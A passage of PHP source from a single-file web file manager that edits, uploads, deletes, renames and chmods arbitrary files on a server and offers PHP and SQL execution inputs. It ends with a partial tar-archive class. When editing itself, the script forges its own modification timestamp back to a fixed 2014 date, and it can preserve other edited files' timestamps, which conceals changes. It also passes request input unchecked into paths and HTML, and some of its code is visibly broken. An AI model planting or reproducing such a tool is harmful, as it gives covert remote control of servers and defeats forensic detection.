	foreach ($tmpl as $key=>$value){

		        $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";

	}

	$select .= "</select>\n";

	echo $select;

}

?>
		        </form>

	</td>

</tr>

</table>

<?php
	if (!empty($res)) {

		        $fun='fm_'.$res_lng;

		        echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';

	}

} elseif (!empty($_REQUEST['edit'])){

	if(!empty($_REQUEST['save'])) {

		        $fn = $path . $_REQUEST['edit'];

		        $filemtime = filemtime($fn);

	                        if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_now .= __('File updated');

		        else $msg_now .= __('Error occurred');

		        if ($_GET['edit']==basename(__FILE__)) {

                                 touch(__FILE__,1415116371);

		        } else {

                                 if (!empty($fmo_config['restore_time'])) touch($fn,$filemtime);

		        }

	}

                        $oldcontent = @file_get_contents($path . $_REQUEST['edit']);

                        $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;

?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">

<tr>

                        <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$editlink?>">

                                                                        <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                                        <input type="submit" name="cancel" value="<?=__('Cancel')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
echo $auth_mydevice['script'];

} elseif(!empty($_REQUEST['rights'])){

	if(!empty($_REQUEST['save'])) {

	                        if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))

		        $msg_now .= (__('File updated')); 

		        else $msg_now .= (__('Error occurred'));

	}

	clearstatcache();

                        $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);

                        $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$link?>">

                                                   <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">

                                                <?php if (is_dir($path.$_REQUEST['rights'])) { ?>

                                                                        <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>

                                                <?php } ?>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {

	if(!empty($_REQUEST['save'])) {

	                        rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);

		        $msg_now .= (__('File updated'));

		        $_REQUEST['rename'] = $_REQUEST['newname'];

	}

	clearstatcache();

                        $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;


?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$link?>">

                                                                        <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
} else {

//Let's rock!

                        $msg_now = '';

                        if(!empty($_FILES['upload'])&&!empty($fmo_config['upload_file'])) {

                                                if(!empty($_FILES['upload']['name'])){

                                                                        $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

                                                                        if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){

                                                                                                $msg_now .= __('Error occurred');

                                                                        } else {

                                 	$msg_now .= __('Files uploaded').': '.$_FILES['upload']['name'];

                                 }

                                                }

                        } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {

                                                if(!fm_del_files(($path . $_REQUEST['delete']), true)) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 $msg_now .= __('Deleted').' '.$_REQUEST['delete'];

		        }

	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fmo_config['make_directory'])) {

                                                if(!@mkdir($path . $_REQUEST['dirname'],0777)) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 $msg_now .= __('Created').' '.$_REQUEST['dirname'];

		        }

                        } elseif(!empty($_POST['search_recursive'])) {

		        ini_set('max_execution_time', '0');

		        $search_data =  find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		        if(!empty($search_data)) {

                                 $msg_now .= __('Found in files').' ('.count($search_data).'):<br>';

                                 foreach ($search_data as $filename) {

                                 	$msg_now .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

                                 }

		        } else {

                                 $msg_now .= __('Nothing founded');

		        }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fmo_config['new_file'])) {

                                                if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 fclose($fp);

                                 $msg_now .= __('Created').' '.$_REQUEST['filename'];

		        }

                        } elseif (isset($_GET['zip'])) {

		        $source = base64_decode($_GET['zip']);

		        $destination = basename($source).'.zip';

		        set_time_limit(0);

		        $phar = new PharData($destination);

		        $phar->buildFromDirectory($source);

		        if (is_file($destination))

		        $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		        '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		        .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		        else $msg_now .= __('Error occurred').': '.__('no files');

	} elseif (isset($_GET['gz'])) {

		        $source = base64_decode($_GET['gz']);

		        $archive = $source.'.tar';

		        $destination = basename($source).'.tar';

		        if (is_file($archive)) unlink($archive);

		        if (is_file($archive.'.gz')) unlink($archive.'.gz');

		        clearstatcache();

		        set_time_limit(0);

		        //die();

		        $phar = new PharData($destination);

		        $phar->buildFromDirectory($source);

		        $phar->compress(Phar::GZ,'.tar.gz');

		        unset($phar);

		        if (is_file($archive)) {

                                 if (is_file($archive.'.gz')) {

                                 	unlink($archive); 

                                 	$destination .= '.gz';

                                 }


                                 $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

                                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

                                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		        } else $msg_now .= __('Error occurred').': '.__('no files');

	} elseif (isset($_GET['decompress'])) {

		        // $source = base64_decode($_GET['decompress']);

		        // $destination = basename($source);

		        // $ext = end(explode(".", $destination));

		        // if ($ext=='zip' OR $ext=='gz') {

                                 // $phar = new PharData($source);

                                 // $phar->decompress();

                                 // $base_file = str_replace('.'.$ext,'',$destination);

                                 // $ext = end(explode(".", $base_file));

                                 // if ($ext=='tar'){

                                 	// $phar = new PharData($base_file);

                                 	// $phar->extractTo(dir($source));

                                 // }

		        // } 

		        // $msg_now .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		        $source = base64_decode($_GET['gzfile']);

		        $archive = $source.'.tar';

		        $destination = basename($source).'.tar';

		        if (is_file($archive)) unlink($archive);

		        if (is_file($archive.'.gz')) unlink($archive.'.gz');

		        set_time_limit(0);

		        //echo $destination;

		        $ext_arr = explode('.',basename($source));

		        if (isset($ext_arr[1])) {

                                 unset($ext_arr[0]);

                                 $ext=implode('.',$ext_arr);

		        } 

		        $phar = new PharData($destination);

		        $phar->addFile($source);

		        $phar->compress(Phar::GZ,$ext.'.tar.gz');

		        unset($phar);

		        if (is_file($archive)) {

                                 if (is_file($archive.'.gz')) {

                                 	unlink($archive); 

                                 	$destination .= '.gz';

                                 }

                                 $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

                                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

                                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		        } else $msg_now .= __('Error occurred').': '.__('no files');

	}

?>
<table class="whole" id="header_table" >

<tr>

                        <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>

</tr>

          <?php if(!empty($msg_now)){ ?>
<tr>

	<td colspan="2" class="row2"><?=$msg_now?></td>

</tr>

<?php } ?>
<tr>

                        <td class="row2">

		        <table>

                                 <tr>

                                 <td>

                                 	<?=fm_home()?>

                                 </td>

                                 <td>

                                 <?php if(!empty($fmo_config['make_directory'])) { ?>

                                 	<form method="post" action="<?=$url_inc?>">

                                 	<input type="hidden" name="path" value="<?=$path?>" />

                                 	<input type="text" name="dirname" size="15">

                                 	<input type="submit" name="mkdir" value="<?=__('Make directory')?>">

                                 	</form>

                                 <?php } ?>

                                 </td>

                                 <td>

                                 <?php if(!empty($fmo_config['new_file'])) { ?>

                                 	<form method="post" action="<?=$url_inc?>">

                                 	<input type="hidden" name="path"                         value="<?=$path?>" />

                                 	<input type="text"   name="filename" size="15">

                                 	<input type="submit" name="mkfile"   value="<?=__('New file')?>">

                                 	</form>

                                 <?php } ?>

                                 </td>

                                 <td>

                                 	<form  method="post" action="<?=$url_inc?>" style="display:inline">

                                 	<input type="hidden" name="path" value="<?=$path?>" />

                                 	<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">

                                 	<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">

                                 	<input type="submit" name="search" value="<?=__('Search')?>">

                                 	</form>

                                 </td>

                                 <td>

                                 <?=fm_run_input('php')?>

                                 </td>

                                 <td>

                                 <?=fm_run_input('sql')?>

                                 </td>

                                 </tr>

		        </table>

                        </td>

                        <td class="row3">

		        <table>

		        <tr>

		        <td>

		        <?php if (!empty($fmo_config['upload_file'])) { ?>

                                 <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">

                                 <input type="hidden" name="path" value="<?=$path?>" />

                                 <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

                                 <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />

                                 <input type="submit" name="test" value="<?=__('Upload')?>" />

                                 </form>

		        <?php } ?>

		        </td>

		        <td>

		        <?php if ($auth_mydevice['authorize']) { ?>

                                 <form action="" method="post">&nbsp;&nbsp;&nbsp;

                                 <input name="quit" type="hidden" value="1">

                                 <?=__('Hello')?>, <?=$auth_mydevice['login']?>

                                 <input type="submit" value="<?=__('Quit')?>">

                                 </form>

		        <?php } ?>

		        </td>

		        <td>

		        <?=fm_lang_form($language_benros)?>

		        </td>

		        <tr>

		        </table>

                        </td>

</tr>

</table>

<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">

<thead>

<tr> 

                        <th style="white-space:nowrap"> <?=__('Filename')?> </th>

                        <th style="white-space:nowrap"> <?=__('Size')?> </th>

                        <th style="white-space:nowrap"> <?=__('Date')?> </th>

                        <th style="white-space:nowrap"> <?=__('Rights')?> </th>

                        <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>

</tr>

</thead>

<tbody>

<?php
$elements = fm_scan_dir($path, '', 'all', true);

$dirs = array();

$file_entries = array();

foreach ($elements as $file){

                        if(@is_dir($path . $file)){

                                                $dirs[] = $file;

                        } else {

                                                $file_entries[] = $file;

                        }

}

natsort($dirs); natsort($file_entries);

$elements = array_merge($dirs, $file_entries);


foreach ($elements as $file){

                        $filename = $path . $file;

                        $filedata = @stat($filename);

                        if(@is_dir($filename)){

		        $filedata[7] = '';

		        if (!empty($fmo_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);

                                                $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

                                                $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);

		        $arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);

                                                $style = 'row2';

		         if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';

                        } else {

		        $link = 

                                 $fmo_config['show_img']&&@getimagesize($filename) 

                                 ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''

                                 . fm_img_link($filename)

                                 .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'

                                 : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

		        $e_arr = explode(".", $file);

		        $ext = end($e_arr);

                                                $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);

		        $arlink = in_array($ext,array('zip','gz','tar')) 

		        ? ''

		        : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));

                                                $style = 'row1';

		        $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';

                        }

                        $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

                        $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';

                        $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';

?>
<tr class="<?=$style?>"> 

                        <td><?=$link?></td>

                        <td><?=$filedata[7]?></td>

                        <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>

                        <td><?=$rightstext?></td>

                        <td><?=$deletelink?></td>

                        <td><?=$renamelink?></td>

                        <td><?=$loadlink?></td>

                        <td><?=$arlink?></td>

</tr>

<?php
                        }

}

?>
</tbody>

</table>

<div class="row3"><?php

	$mtime = explode(' ', microtime()); 

	$totaltime = $mtime[0] + $mtime[1] - $startororimy; 

	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';

	if (!empty($fmo_config['show_php_ver'])) echo ' | PHP '.phpversion();

	if (!empty($fmo_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();

	if (!empty($fmo_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);

	if (!empty($fmo_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';

	if (!empty($fmo_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';

	if (!empty($fmo_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';

	if (!empty($fmo_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';

	?>

</div>

<script type="text/javascript">

function download_xls(filename, text) {

	var element = document.createElement('a');

	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);

	element.setAttribute('download', filename);

	element.style.display = 'none';

	document.body.appendChild(element);

	element.click();

	document.body.removeChild(element);

}


function base64_encode(m) {

	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {

		        c = m.charCodeAt(l);

		        if (128 > c) d = 1;

		        else

                                 for (d = 2; c >= 2 << 5 * d;) ++d;

		        for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])

	}

	b && (g += k[f << 6 - b]);

	return g

}



var tableToExcelData = (function() {

                        var uri = 'data:application/vnd.ms-excel;base64,',

                        template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',

                        format = function(s, c) {

                                                                        return s.replace(/{(\w+)}/g, function(m, p) {

                                                                                                return c[p];

                                                                        })

                                                }

                        return function(table, name) {

                                                if (!table.nodeType) table = document.getElementById(table)

                                                var ctx = {

                                                                        worksheet: name || 'Worksheet',

                                                                        table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")

                                                }

		        t = new Date();

		        filename = 'fm_' + t.toISOString() + '.xls'

		        download_xls(filename, base64_encode(format(template, ctx)))

                        }

})();


var table2Excel = function () {


                        var ua = window.navigator.userAgent;

                        var msie = ua.indexOf("MSIE ");


	this.CreateExcelSheet = 

		        function(el, name){

                                 if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer


                                 	var x = document.getElementById(el).rows;


                                 	var xls = new ActiveXObject("Excel.Application");


                                 	xls.visible = true;

                                 	xls.Workbooks.Add

                                 	for (i = 0; i < x.length; i++) {

                                 		        var y = x[i].cells;


                                 		        for (j = 0; j < y.length; j++) {

                                                                  xls.Cells(i + 1, j + 1).Value = y[j].innerText;

                                 		        }

                                 	}

                                 	xls.Visible = true;

                                 	xls.UserControl = true;

                                 	return xls;

                                 } else {

                                 	tableToExcelData(el, name);

                                 }

		        }

}

</script>

</body>

</html>


<?php
//Ported from ReloadCMS project http://reloadcms.com

class archiveTar {

	var $compressed_file_archive = '';

	var $temp_file_handler = 0;

	var $file_position_pointer = 0;

	var $gzip_compression_status = true;

	var $list_of_errors = array();

	var $file_entries = array();

	
	function __construct(){

		        if (!isset($this->errors)) $this->errors = array();

	}

	
	function buildCompressedArchive($file_list){

		        $result = false;

		        if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;

		        else $newArchive = true;

		        if ($newArchive){

                                 if (!$this->initializeWriteOperation()) return false;

		        } else {

                                 if (filesize($this->archive_name) == 0)	return $this->initializeWriteOperation();

                                 if ($this->isGzipped) {

                                 	$this->finalizeTempFileHandler();

                                 	if (!rename($this->archive_name, $this->archive_name.'.tmp')){

                                 		        $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';

                                 		        return false;

                                 	}

                                 	$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');

                                 	if (!$tmpArchive){

                                 		        $this->errors[] = $this->archive_name.'.tmp '.__('is not readable');

                                 		        rename($this->archive_name.'.tmp', $this->archive_name);

                                 		        return false;

                                 	}

                                 	if (!$this->initializeWriteOperation()){

                                 		        rename($this->archive_name.'.tmp', $this->archive_name);

                                 		        return false;

                                 	}

                                 	$buffer = gzread($tmpArchive, 512);

                                 	if (!gzeof($tmpArchive)){

                                 		        do {

                                                                  $binaryData = pack('a512', $buffer);

                                                                  $this->writeBlockToData($binaryData);

                                                                  $buffer = gzread($tmpArchive, 512);

                                 		        }

                                 		        while (!gzeof($tmpArchive));

                                 	}

                                 	gzclose($tmpArchive);

                                 	unlink($this->archive_name.'.tmp');

                                 } else {

                                 	$this->tmp_file = fopen($this->archive_name, 'r+b');

                                 	if (!$this->tmp_file)	return false;

                                 }

		        }

		        if (isset($file_list) && is_array($file_list)) {

		        if (count($file_list)>0)

                                 $result = $this->packFilesIntoArchive($file_list);

		        } else $this->errors[] = __('No file').__(' to ').__('Archive');

		        if (($result)&&(is_resource($this->tmp_file))){

                                 $binaryData = pack('a512', '');

                                 $this->writeBlockToData($binaryData);

		        }

		        $this->finalizeTempFileHandler();

		        if ($newArchive && !$result){

		        $this->finalizeTempFileHandler();

		        unlink($this->archive_name);

		        }

		        return $result;

	}


	function unpackCompressedArchive($path){

		        $fileName = $this->archive_name;

		        if (!$this->isGzipped){

                                 if (file_exists($fileName)){

                                 	if ($fp = fopen($fileName, 'rb')){

                                 		        $data = fread($fp, 2);

                                 		        fclose($fp);

                                 		        if ($data == '\37\213'){

                                                                  $this->isGzipped = true;

                                 		        }

                                 	}

                                 }

                                 elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;

		        } 

		        $result = true;

		        if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');

		        else $this->tmp_file = fopen($fileName, 'rb');

		        if (!$this->tmp_file){

                                 $this->errors[] = $fileName.' '.__('is not readable');

                                 return false;

		        }

		        $result = $this->unpackFilesIntoArchive($path);

                                 $this->finalizeTempFileHandler();

		        return $result;

	}


	function displayAllErrors	($message = '') {

		        $Errors = $this->errors;

		        if(count($Errors)>0) {

		        if (!empty($message)) $message = ' ('.$message.')';

                                 $message = __('Error occurred').$message.': <br/>';

                                 foreach ($Errors as $value)

                                 	$message .= $value.'<br/>';

                                 return $message;	

		        } else return '';

		        
	}

	
	function packFilesIntoArchive($file_array){

		        $result = true;

		        if (!$this->tmp_file){

                                 $this->errors[] = __('Invalid file descriptor');

                                 return false;

		        }

		        if (!is_array($file_array) || count($file_array)<=0)

                                                  return true;

		        for ($i = 0; $i<count($file_array); $i++){

                                 $filename = $file_array[$i];

                                 if ($filename == $this->archive_name)

                                 	continue;

                                 if (strlen($filename)<=0)

                                 	continue;

                                 if (!file_exists($filename)){

                                 	$this->errors[] = __('No file').' '.$filename;

                                 	continue;

                                 }

                                 if (!$this->tmp_file){

                                 $this->errors[] = __('Invalid file descriptor');

                                 return false;

                                 }

		        if (strlen($filename)<=0){

                                 $this->errors[] = __('Filename').' '.__('is incorrect');;

                                 return false;

		        }

		        $filename = str_replace('\\', '/', $filename);

		        $keep_filename = $this->createValidFilePath($filename);

		        if (is_file($filename)){

                                 if (($file = fopen($filename, 'rb')) == 0){

                                 	$this->errors[] = __('Mode ').__('is incorrect');

                                 }

                                 	if(($this->file_pos == 0)){

                                 		        if(!$this->writeHeaderToArchive($filename, $keep_filename))

                                                                  return false;

                                 	}

                                 	while (($buffer = fread($file, 512)) != ''){

                                 		        $binaryData = pack('a512', $buffer);

                                 		        $this->writeBlockToData($binaryData);

                                 	}

                                 fclose($file);

		        }	else $this->writeHeaderToArchive($filename, $keep_filename);

                                 if (@is_dir($filename)){

                                 	if (!($handle = opendir($filename))){

                                 		        $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');

                                 		        continue;

                                 	}

                                 	while (false !== ($dir = readdir($handle))){

                                 		        if ($dir!='.' && $dir!='..'){

                                                                  $file_array_tmp = array();

                                                                  if ($filename != '.')

                                                                  	$file_array_tmp[] = $filename.'/'.$dir;

                                                                  else

                                                                  	$file_array_tmp[] = $dir;


                                                                  $result = $this->packFilesIntoArchive($file_array_tmp);

                                 		        }

                                 	}

                                 	unset($file_array_tmp);

                                 	unset($dir);

                                 	unset($handle);

                                 }

		        }

		        return $result;

	}


	function unpackFilesIntoArchive($path){ 

		        $path = str_replace('\\', '/', $path);

		        if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;

		        clearstatcache();

		        while (strlen($binaryData = $this->readBlockFromData()) != 0){

                                 if (!$this->extractHeaderInformation($binaryData, $header)) return false;

                                 if ($header['filename'] == '') continue;

                                 if ($header['typeflag'] == 'L'){                                 //reading long header

                                 	$filename = '';

                                 	$decr = floor($header['size']/512);

                                 	for ($i = 0; $i < $decr; $i++){

                                 		        $content = $this->readBlockFromData();

                                 		        $filename .= $content;

                                 	}

                                 	if (($laspiece = $header['size'] % 512) != 0){

                                 		        $content = $this->readBlockFromData();

                                 		        $filename .= substr($content, 0, $laspiece);

                                 	}

                                 	$binaryData = $this->readBlockFromData();

                                 	if (!$this->extractHeaderInformation($binaryData, $header)) return false;

                                 	else $header['filename'] = $filename;

                                 	return true;

                                 }

                                 if (($path != './') && ($path != '/')){

                                 	while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);

                                 	if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];

                                 	else $header['filename'] = $path.'/'.$header['filename'];

                                 }

                                 
                                 if (file_exists($header['filename'])){

                                 	if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){

                                 		        $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');

                                 		        return false;

                                 	}

                                 	if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){

                                 		        $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');

                                 		        return false;

                                 	}

                                 	if (!is_writeable($header['filename'])){

                                 		        $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');

                                 		        return false;

                                 	}

                                 } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){

                                 	$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];

                                 	return false;

                                 }


                                 if ($header['typeflag'] == '5'){

                                 	if (!file_exists($header['filename']))		        {

                                 		        if (!mkdir($header['filename'], 0777))	{

                                                                  
                                                                  $this->errors[] = __('Cannot create directory').' '.$header['filename'];

                                                                  return false;

                                 		        } 

                                 	}

                                 } else {

                                 	if (($destination = fopen($header['filename'], 'wb')) == 0) {

                                 		        $this->errors[] = __('Cannot write to file').' '.$header['filename'];

                                 		        return false;

                                 	} else {

                                 		        $decr = floor($header['size']/512);

                                 		        for ($i = 0; $i < $decr; $i++) {

                                                                  $content = $this->readBlockFromData();

                                                                  fwrite($destination, $content, 512);

                                 		        }

                                 		        if (($header['size'] % 512) != 0) {

                                                                  $content = $this->readBlockFromData();

                                                                  fwrite($destination, $content, ($header['size'] % 512));

                                 		        }

                                 		        fclose($destination);

                                 		        touch($header['filename'], $header['time']);

                                 	}

                                 	clearstatcache();

                                 	if (filesize($header['filename']) != $header['size']) {

                                 		        $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');

                                 		        return false;

                                 	}

                                 }

                                 if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';

                                 if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';

                                 $this->dirs[] = $file_dir;

                                 $this->files[] = $header['filename'];

	
		        }

		        return true;

	}


	function dirCheck($dir){

		        $parent_dir = dirname($dir);


		        if ((@is_dir($dir)) or ($dir == ''))

                                 return true;


		        if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))

                                 return false;


		        if (!mkdir($dir, 0777)){

                                 $this->errors[] = __('Cannot create directory').' '.$dir;

                                 return false;

		        }

		        return true;

	}


	function extractHeaderInformation($binaryData, &$header){

		        if (strlen($binaryData)==0){

                                 $header['filename'] = '';

                                 return true;

		        }


		        if (strlen($binaryData) != 512){

                                 $header['filename'] = '';

                                 $this->__('Invalid block size').': '.strlen($binaryData);

                                 return false;

		        }


		        $checksum = 0;

